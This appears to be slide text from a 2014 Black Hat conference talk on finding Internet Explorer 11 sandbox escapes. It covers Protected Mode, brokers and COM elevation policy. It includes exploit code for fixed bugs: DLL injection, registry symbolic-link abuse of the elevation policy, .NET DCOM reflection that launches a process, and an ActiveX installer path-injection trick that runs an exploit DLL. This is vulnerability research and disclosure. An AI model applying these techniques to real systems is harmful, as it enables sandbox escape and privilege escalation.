Digging for Sandbox Escapes
Finding sandbox breakouts in Internet Explorer

James Forshaw @tiraniddo

Blackhat USA 2014
What I’m Going to Talk About

• Understanding the IE11 sandbox
• How to find sandbox escapes
• Where to look for issues
• Technical details of fixed bugs I’ve found
Tools and Setup
Resources

• Example code and ExploitDotNetDCOM available:
  – https://github.com/ctxis

• Latest version of OleViewDotNet:
  – https://github.com/tyranid/oleviewdotnet

• Excellent write up of EPM by Mark Vincent Yason
  – Blackhat ASIA 2014 Archives
Background on IE11 Sandboxing
IE Protected Mode

User Permission

Frame Process

Intranet Zone Process

User Broker

IPC Boundary

Low Permission

Internet Zone Process

Network
Low Permission Processes

- Protected Mode uses Integrity Levels
- Internet Zone Process runs with Low IL in Token
  - Restricts write access to majority securable resources
  - Restricts Win32 through User Interface Privileged Isolation
  - Does NOT restrict read access to most resources
- Processes/Threads also have no-read-up by default
What Does it Mean, Enhanced?

- Enhanced Protected Mode (EPM) new in Windows 8
- Uses Windows 8 AppContainer’s to further restrict what sandboxed process can do
AppContainer Resource Access

- Restricts read and write access to resources
- DACL must give access to one or more of:
  - AppContainer SID
  - S-1-15-3-4096 – SID for Internet Explorer Capability
  - ALL APPLICATION PACKAGES group SID
- Low IL still applies as well to restrict writes
# Further Capabilities

<table>
<thead>
<tr>
<th>Group</th>
<th>Flags</th>
</tr>
</thead>
<tbody>
<tr>
<td>NT AUTHORITY\Authenticated Users</td>
<td>Mandatory</td>
</tr>
<tr>
<td>NT AUTHORITY\INTERACTIVE</td>
<td>Mandatory</td>
</tr>
<tr>
<td>NT AUTHORITY\Local account</td>
<td>Mandatory</td>
</tr>
<tr>
<td>NT AUTHORITY\Local account and member of Administrat...</td>
<td>Deny</td>
</tr>
<tr>
<td>NT AUTHORITY\NTLM Authentication</td>
<td>Mandatory</td>
</tr>
<tr>
<td>NT AUTHORITY\This Organization</td>
<td>Mandatory</td>
</tr>
<tr>
<td>S-1-15-2-1430448594-2639229838-973813799-439329657-...</td>
<td>AppContainer</td>
</tr>
<tr>
<td>S-1-15-3-3215430884-1339816292-89257616-1145831019</td>
<td>Capability</td>
</tr>
<tr>
<td>S-1-15-3-3845273463-1331427702-1186551195-1148109977</td>
<td>Capability</td>
</tr>
<tr>
<td>S-1-15-3-4096</td>
<td>Capability</td>
</tr>
<tr>
<td>S-1-15-3-787448254-1207972858-3558633622-1059886964</td>
<td>Capability</td>
</tr>
</tbody>
</table>
User Broker Services

• Medium integrity broker provides various services on behalf of protected mode process
  – Provides access to resources from low integrity

• Certain functions hooked and redirected to broker automatically
  – CreateProcessW and WinExec
  – CoCreateInstance and CoCreateInstanceEx
  – CoGetClassObject

• Uses registry based elevation policy to control what is allowed
Elevation Policy
## Elevation Policy Types

### Executable

<table>
<thead>
<tr>
<th>AppName</th>
<th>REG_SZ</th>
<th>dfsvc.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td>AppPath</td>
<td>REG_SZ</td>
<td>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\</td>
</tr>
<tr>
<td>Policy</td>
<td>REG_DWORD</td>
<td>0x00000003 (3)</td>
</tr>
</tbody>
</table>

### COM Object

<table>
<thead>
<tr>
<th>CLSID</th>
<th>REG_SZ</th>
<th>{20FD4E26-8E0F-4F73-A0E0-F27B8C57BE6F}</th>
</tr>
</thead>
<tbody>
<tr>
<td>Policy</td>
<td>REG_DWORD</td>
<td>0x00000003 (3)</td>
</tr>
</tbody>
</table>
## Elevation Policy Types

<table>
<thead>
<tr>
<th>Value</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Protected Mode silently launches the broker as a medium integrity process.</td>
</tr>
<tr>
<td>2</td>
<td>Protected Mode prompts the user for permission to launch the process. If permission is granted, the process is launched as a medium integrity process.</td>
</tr>
<tr>
<td>1</td>
<td>Protected Mode silently launches the broker as a low integrity process.</td>
</tr>
<tr>
<td>0</td>
<td>Protected Mode prevents the process from launching.</td>
</tr>
</tbody>
</table>
COM 101

- Majority of Broker Services exposed over COM
- Objects identified by a Class ID (CLSID) GUID
- Implemented by a Server, either a DLL or an Executable
- An object can have multiple Interfaces identified by Interface ID (IID)
- All objects support the IUnknown interface.
  - Implements QueryInterface method, allows caller to query between objects
- Abstract programming model, can be used locally or remotely (Distributed COM/DCOM).
Potential Attack Surface

- **User Permission**
- **IPC Boundary**
- **Low Permission**

**Frame Process**
- User Broker

- **Internet Zone Process**

- **Allowed Through Elevation Policy**

- **Accessible Resources**
IE Process Structure

- IEXPLORE.EXE doesn’t do very much, just hands off to ieframe!IEWinMain
- ieframe.dll also contains most of the broker implementation
- Support libraries ierutil.dll and ieproxy.dll also of importance
Enabling EPM

- Was default on RTM 8.1
- Disabled again in MS13-088
- Also supports 64 bit tab processes
- Default if using Modern Mode
Testing Sandbox Escapes

- Want to test sandbox escapes?
- No RCE? No problem.
- Use a simple DLL injector

```c
void* pBuf = VirtualAllocEx(hProc, 0, strlen(dllpath)+1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, pBuf, dllpath, strlen(dllpath)+1);
LPVOID pLL = GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryA");
CreateRemoteThread(hProc, NULL, 0, pLL, pBuf, 0, NULL)
```
Set Appropriate Permissions

- Create a directory for DLLs
- Add “ALL APPLICATION PACKAGES” ACE to directory DACL
- Files will inherit ACE
Simple DLL Test Harness

DWORD CALLBACK ExploitThread(LPVOID hModule) {
    // Do Work then exit and free library
    FreeLibraryAndExitThread((HMODULE)hModule, 0);
}

BOOL APIENTRY DllMain( HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, 0, ExploitThread, hModule, 0, NULL);
        break;
    default:
        break;
    }
    return TRUE;
}
Finding and Exploiting Accessible Resources
Searching for Accessible Resources

Set-Location 'HKCU:\'
$iesid = "S-1-15-3-4096"
$aapsid = "APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES"

ForEach($key in (Get-ChildItem -recurse)) {
    $acl = Get-Acl -path $key.PSPath
    ForEach($ace in $acl.Access) {
            Write-Output $key.PSPath
        }
    }
}
Process Monitor for the Win!

- Identified keys always created by medium integrity IE process at start-up
Process Monitor for the Win!

- Identified keys always created by medium integrity IE process at start-up
- IESetProtectedModeRegKeyOnly looks interesting
IESetProtectedModeRegKeyOnly

; Attributes: bp-based frame

; __int32 __cdecl IESetProtectedModeRegKeyOnly(const struct MICREGISTRYDESCRIPTOR *)
?IESetProtectedModeRegKeyOnly@@YGJPBUNICREGISTRYDESCRIPTOR@@Z proc near

Sid= dword ptr -8
phkResult= dword ptr -4

; FUNCTION CHUNK AT 1004DA66 SIZE 0000009C BYTES
; FUNCTION CHUNK AT 101C4887 SIZE 00000054 BYTES

mov     edi, edi
push    ebp
mov     ebp, esp
push    ecx
push    ecx
push    esi
push    edi
mov     edi, ecx
mov     esi, 80070057h
test    edi, edi
jnz     loc_101C4887
IESetProtectedModeRegKeyOnly

- Creates key if it doesn’t exist
- If not accessible from AppContainer
  - Add low integrity label
  - Add IE Capability SID to DACL
So What?

• Can induce medium integrity IE to create keys
• Any key we create will have ACL allowing EPM process full access
• But surely we can’t create any interesting keys?
• Well obviously we can!
# Registry Symbolic Links

The following table lists the specific access rights for registry key objects.

<table>
<thead>
<tr>
<th>Value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>KEY_ALL_ACCESS (0xF003F)</td>
<td>Combines the STANDARD_RIGHTS_REQUIRED, KEY_QUERY_VALUE, KEY_SET_VALUE,</td>
</tr>
<tr>
<td></td>
<td>KEY_CREATE_SUB_KEY, KEY_ENUMERATE_SUB_KEYS, KEY_NOTIFY, and</td>
</tr>
<tr>
<td></td>
<td>KEY_CREATE_LINK access rights.</td>
</tr>
<tr>
<td>KEY_CREATE_LINK (0x0020)</td>
<td>Reserved for system use.</td>
</tr>
<tr>
<td>KEY_CREATE_SUB_KEY (0x0004)</td>
<td>Required to create a subkey of a registry key.</td>
</tr>
</tbody>
</table>
Finding a Target Key

Internet Explorer Security

A website wants to open web content using this program on your computer

This program will open outside of Protected mode. Internet Explorer's Protected mode helps protect your computer. If you do not trust this website, do not open this program.

Name: Microsoft Windows
Publisher: Microsoft Corporation

Do not show me the warning for this program again

[Allow] [Don't allow]
Exploitation: Step 1

• Create a symbolic link from accessible registry area to target:

```c
NtCreateKey(&hKey, KEY_ALL_ACCESS, &oa, 0, NULL,
            REG_OPTION_CREATE_LINK, &disposition);
RltInitUnicodeString(&valuename, L"SymbolicLinkValue");
NtSetValueKey(hKey, &valuename, 0, REG_LINK,
             dst, wcslen(dst) * sizeof(WCHAR));
```
Exploitation: Step 2

• Execute Internet Explorer to cause key to be created

WCHAR cmdline [] = L"iexplore.exe x";

CreateProcess(L"C:\Program Files\Internet Explorer\iexplore.exe",
cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startInfo, &procInfo));
Exploitation: Step 3

- Open created key and fill in Registry Values for elevation policy

```c
RegOpenKeyEx(hKeyIE,
             L"Low Rights\ElevationPolicy\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}",
             0, KEY_ALL_ACCESS, &hKey);

CreateRegistryValueString(hKey, L"AppName", L"calc.exe");
CreateRegistryValueString(hKey, L"AppPath", L"C:\windows\system32");
CreateRegistryValueDword(hKey, L"Policy", 3);
```
Exploitation: Step 4

- Force IE to refresh elevation policy

```c
RtlInitUnicodeString(&objName,
    "\\Sessions\\1\\BaseNamedObjects\\LRIEElevationPolicy_");
InitializeObjectAttributes(&objAttr, &objName,
    OBJ_CASE_INSENSITIVE, 0, 0);
NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE,
    &objAttr);
int* p = MapViewOfFile(hSection, FILE_MAP_READ | FILE_MAP_WRITE,
    0, 0, sizeof(int));

// Increment counter
*p = *p + 1;
```
Exploitation: Step 5

- Execute new process
What about Files?

• Can we do a similar trick for files?
• Vista introduced file symlinks
  – Can’t use, requires administrator privileges
• But!!!
• Directory symlinks exist, they are called Junctions
  – Requires no privilege other than creating directory
Flash Broker

• Broker COM object for Flash (installed by default on Windows 8)

• Has some interesting functions:
  – BrokerCreateFile
  – BrokerCreateDirectory

<table>
<thead>
<tr>
<th>Accessible Locations</th>
</tr>
</thead>
<tbody>
<tr>
<td>%USERPROFILE%\AppData\Roaming\Adobe\Flash Player</td>
</tr>
<tr>
<td>%USERPROFILE%\AppData\Roaming\Macromedia\Flash Player</td>
</tr>
<tr>
<td>%TEMP%</td>
</tr>
</tbody>
</table>
Exploring COM Elevation Policy
COM Elevation Policy
.NET Deployment Service (DFSVC)
Connecting to DFSVC

WCHAR cmdline [] = L"dfsvc.exe";
IUnknown* pDFSvc;

STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };

// Start dfsvc (because we can due to the ElevationPolicy)
CreateProcess(L"C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe", cmdline,
               nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo);
// Get instance of DFSvc object
CoCreateInstance(CLSID_DFSvc, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pDFSvc));
[ComVisible(true), Guid("20FD4E26-8E0F-4F73-A0E0-F27B8C57BE6F")]

public class DeploymentServiceCom
{
    public void ActivateDeployment(string deploymentLocation,
                                    bool isShortcut);
    public void ActivateDeploymentEx(string deploymentLocation,
                                       int unsignedPolicy,
                                       int signedPolicy);
    public void ActivateApplicationExtension(string textualSubId,
                                               string deploymentProviderUrl,
                                               string targetAssociatedFile);
    public void MaintainSubscription(string textualSubId);
    public void CheckForDeploymentUpdate(string textualSubId);
    public void EndServiceRightNow();
    public void CleanOnlineAppCache();
}
Fun with .NET DCOM
interface _Object : IDispatch {
    HRESULT ToString([out, retval] BSTR* pRetVal);
    HRESULT Equals(
        [in] VARIANT obj,
        [out, retval] VARIANT_BOOL* pRetVal);
    HRESULT GetHashCode([out, retval] long* pRetVal);
    HRESULT GetType([out, retval] _Type** pRetVal);
};
interface _Object : IDispatch {
    HRESULT ToString([out, retval] BSTR* pRetVal);
    HRESULT Equals(
        [in] VARIANT obj,
        [out, retval] VARIANT_BOOL* pRetVal);
    HRESULT GetHashCode([out, retval] long* pRetVal);
    HRESULT GetType([out, retval] _Type** pRetVal);
};
interface _Object : IDispatch {
    HRESULT ToString([out, retval] BSTR* pRetVal);
    HRESULT Equals(
        [in] VARIANT obj,
        [out, retval] VARIANT_BOOL* pRetVal);
    HRESULT GetHashCode([out, retval] long* pRetVal);
    HRESULT GetType([out, retval] _Type** pRetVal);
};
Exploiting The Vulnerability

// Get .NET Type for System.Type
_Type* type = COMObject->GetTypeInfo() -> GetType();

// Get static .NET method GetType(String)
MethodInfo* mi = type -> GetMethod("GetType");
// Invoke method to lookup process type
type = mi -> Invoke("System.Diagnostics.Process, System");

// Lookup Start(String) method
mi = type -> GetMethod("Start");
// Run CALC
mi -> Invoke("calc")
ExploitDotNetDCOM

- Simple tool to exploit vulnerable versions of .NET
- Use for Privileged Escalation and potentially RCE
Working with the Broker
Broker Interfaces

• Under the hood broker exposes many DCOM services to protected mode process.
• Accessed through the *IEUserBroker* object accessible from protected mode.
• Passed via alternative IPC mechanism and accessed through *ierutils!CoCreateUserBroker*.
typedef HRESULT(__stdcall *)(IEUserBroker* ppBroker);

IEUserBroker* GetUserBroker()
{
    IEUserBroker* broker;
    HMODULE hMod = LoadLibrary(L"iertutil.dll");

    f pf = (f) GetProcAddress(hMod, (LPCSTR)58);
    pf(&broker);

    return broker;
}
Extracting COM Interface Definitions

- Public Symbols provide the answer
- Run simple IDA Python Script
IEUserBroker Interface

Extracted from IE Public Symbols (ieframe.dll)

```c
struct IIEUserBroker : IUnknown
{
    HRESULT Initialize();
    HRESULT CreateProcessW();
    HRESULT WinExec();
    HRESULT BrokerCreateKnownObject(CLSID*, IID*, IUnknown**);
    HRESULT BrokerCoCreateInstance();
    HRESULT BrokerCoCreateInstanceEx();
    HRESULT BrokerCoGetClassObject();
};
```
IEUserBroker Interface

Extracted from IE Public Symbols (ieframe.dll)

```c
struct IIEUserBroker : IUUnknown
{
    HRESULT Initialize();
    HRESULT CreateProcessW();
    HRESULT WinExec();
    HRESULT BrokerCreateKnownObject(CLSID*, IID*, IUnknown**);
    HRESULT BrokerCoCreateInstance();
    HRESULT BrokerCoCreateInstanceEx();
    HRESULT BrokerCoGetClassObject();
};
```
brokercreateknownobject

; Attributes: bp-based frame

; int32 _stdcall CIEUserBrokerObject::BrokerCreateKnownObject(CIEUserBrokerObject * __hidden this, const struct _GUID *, const struct _GUID *, struct IUnknown **)  
?BrokerCreateKnownObject@CIEUserBrokerObject@04VGRJABU_GUIDE@04MPAPAUIUnknown@04PROC near

tthis= dword ptr 8
rcclsid= dword ptr 14h
riid= dword ptr 10h
ppv= dword ptr 14h

; FUNCTION CHUNK AT 10000069 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 10165174 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 1016225C SIZE 00000001 BYTES

mov edi, edi
push ebp
mov ebp, esp
push esi ; struct _GUID *
mov esi, [ebp+rcclsid]
mov ecx, offset _CLSID_C39d0cweBroker
push edi ; struct _GUID *
mov edx, esi
mov edi, 8007005h
call ?IsEqualGUID@04VGRJABU_GUIDE@04PROC ; IsEqualGUID(_GUID const &, _GUID const &)
test eax, eax
jz loc_10162174
## Some Known Objects

<table>
<thead>
<tr>
<th>Name</th>
<th>CLSID</th>
</tr>
</thead>
<tbody>
<tr>
<td>Feeds Low Rights Broker</td>
<td>{A7C922A0-A197-4AE4-8FCD-2236BB4CF515}</td>
</tr>
<tr>
<td>Protected Mode API</td>
<td>{ED72F0D2-B701-4C53-ADC3-F2FB59946DD8}</td>
</tr>
<tr>
<td>Settings Broker</td>
<td>{C6CC0D21-895D-49CC-98F1-D208CD71E047}</td>
</tr>
<tr>
<td>IE Recovery Store</td>
<td>{10BCEB99-FAAC-4080-B20F-AD07CD671EEF2}</td>
</tr>
<tr>
<td>WinINET Broker</td>
<td>{C39EE728-D419-4BD4-A3EF-EDA059DBD935}</td>
</tr>
</tbody>
</table>
Shell Document View Broker

- Monster broker interface implemented in ieframe.dll
- Around 145 separate function calls

```c
struct IShdocvwBroker : IUnknown
{
    HRESULT RedirectUrl();
    HRESULT RedirectShortcut();
    HRESULT RedirectUrlWithBindInfo();
    HRESULT NavigateUrlInNewTabInstance();

    // And on for another 141 functions!!!
};
```
SetAttachmentUserOverride

- Function which adds a ProgID to the AttachmentExecute registry key
- What is that registry key used for?
JAR Files
Exploiting the Vulnerability

IWebBrowser2* browser;
IShdocvwBroker* shdocvw;

broker->BrokerCreateKnownObject(CLSID_CShdocvwBroker,
    IID_PPV_ARGS(&shdocvw));

shdocvw->SetAttachmentUserOverride(L"jarfile");

bstr_t nav = L"http://www.myserver.com/exploit.jar";
browser->Navigate(nav, nullptr, nullptr, nullptr, nullptr, nullptr);
Finding More Attack Surface
Lateral Movement

• Let’s assume we’ve rigorously tested BrokerCreateKnownObject.
• No more issues found *ahem*
• What about other Query-able Interfaces on the broker itself?
CIEUserBrokerObject::QueryInterface

; Attributes: bp-based frame
; __int32 stdcall CIEUserBrokerObject::QueryInterface(CIEUserBrokerObject *__hidden this, const struct _GUID *, void **)

?QueryInterface@@UEAA_N@U09@Z proc near

ti:= dword ptr 8
Buf1:= dword ptr 0ch
arg_0:= dword ptr 10h

; FUNCTION CHUNK AT 101FEC50 SIZE 00000034 BYTES

mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+8+4]
xor esi, esi
push 10h
push offset _IID_IUnknown ; Buf2
push edi
push Buf1
call _memcpy
add esp, 8ch
test eax, eax
jz loc_100021A0

push 10h
push offset _IID_IEUserBroker ; Buf2
push edi
push Buf1
call _memcpy
add esp, 8ch
test eax, eax
jz short loc_100021A0
## Supported Interfaces

<table>
<thead>
<tr>
<th>Name</th>
<th>IID</th>
</tr>
</thead>
<tbody>
<tr>
<td>IEUserBroker</td>
<td>{1AC7516E-E6BB-4A69-B63F-E841904DC5A6}</td>
</tr>
<tr>
<td>IERegHelperBroker</td>
<td>{41DC24D8-6B81-41C4-832C-FE172CB3A582}</td>
</tr>
<tr>
<td>IEAxInstallBrokerBroker</td>
<td>{B2103BDB-B79E-4474-8424-4363161118D5}</td>
</tr>
<tr>
<td>IEBrokerRegisterObjectCleanup</td>
<td>{C40B45C3-1518-46FB-A0F0-0C056174D555}</td>
</tr>
<tr>
<td>IEBrokerAttach</td>
<td>{7673B35E-907A-449D-A49F-E5CE47F0B0B2}</td>
</tr>
</tbody>
</table>
ActiveX Install Broker Broker!

```c
struct IEAxInstallBrokerBroker : IUnknown
{
    HRESULT BrokerGetAxInstallBroker(REFCLSID rclsid,
                                      REFIID riid, int unk, int type, HWND, IUnknown** ppv)
};
```

- CLSID = {BDB57FF2-79B9-4205-9447-F5FE85F37312}
- Type indicates installer type:
  - 1 = Admin level installer (shows UAC prompt BAD)
  - 2 = User level installer (no prompt GOOD)
ActiveX Installer

```c
struct IEAxAdminInstaller : IUnknown
{
    HRESULT InitializeAdminInstaller();
};

struct IEAxInstaller2 : IUnknown
{
    HRESULT VerifyFile();
    HRESULT RunSetupCommand();
    HRESULT InstallFile();
    HRESULT RegisterExeFile();
    HRESULT RegisterDllFile();
    // And more
};
```
Complex Interface

- Interface fairly complex, calls need to be made in right order with correct parameters
- Run debugger while installing an ActiveX

```xml
<object id="Control" width="32" height="32"
    codebase="http://www.domain.com/install.cab#Version=1,0,0,0">
</object>
```
Installing an ActiveX Control

BSTR path = "C:\\Path\\To\\Installer.cab";
BSTR codebase = "http://www.somewhere.com";

installer->VerifyFile(sessionGuid, nullptr, codebase, path, "", 0, 0, mgrclsid, &fullPath, &detailsLength, &details);
Prompt Bypass

• Prompt in WinTrust!WinVerifyTrust

• Two problems:
  1. Codebase identifies Internet resource = Prompt
  2. Downloaded CAB file marked with Low IL = Prompt

• Fixed by:
  1. Give it a local codebase parameter
  2. Verify local resource which isn’t Low IL

BSTR path = "C:\windows\system32\calc.exe";
BSTR codebase = path;
Calling Sequence

Initialize
  • Setup Installer Object

Verify File
  • Copy to secure location and verify signature

Install File
  • Copy verified file to destination location

Register Exe
  • Execute installed executable
Executing Our Own Code

```c
void RegisterExeFile(BSTR exefile) {
    if(IsInstalledFile(exefile)) {
        WCHAR cmdline[MAX_PATH];
        StringCchPrintf(cmdline, MAX_PATH,
                         "\"%s\" /RegServer", exefile);
        CreateProcess(NULL, cmdline, ...);
    }
}
```

```c
exe = "c:\windows\system32\rundll32.exe";
args = "c:\path\to\exploit.dll,ExploitMe";
path = exe + "\" " + args + " \..\..\..\..\..\windows\temp";
InstallFile(path, "testbin.exe");
RegisterExeFile(path + "\\testbin.exe");
```
Final Wrap Up
Continuing the Work

• IE EPM has a massive attack surface.
  – Broker objects with upwards of 145 functions seem risky
  – Takes a long time to manually audit these things
  – I’ve only looked at a limited number of functions

• Fuzz the *BEEP* out of the broker interfaces

• COM is a liability! Any registered executable in elevation policy could contain COM objects
Questions?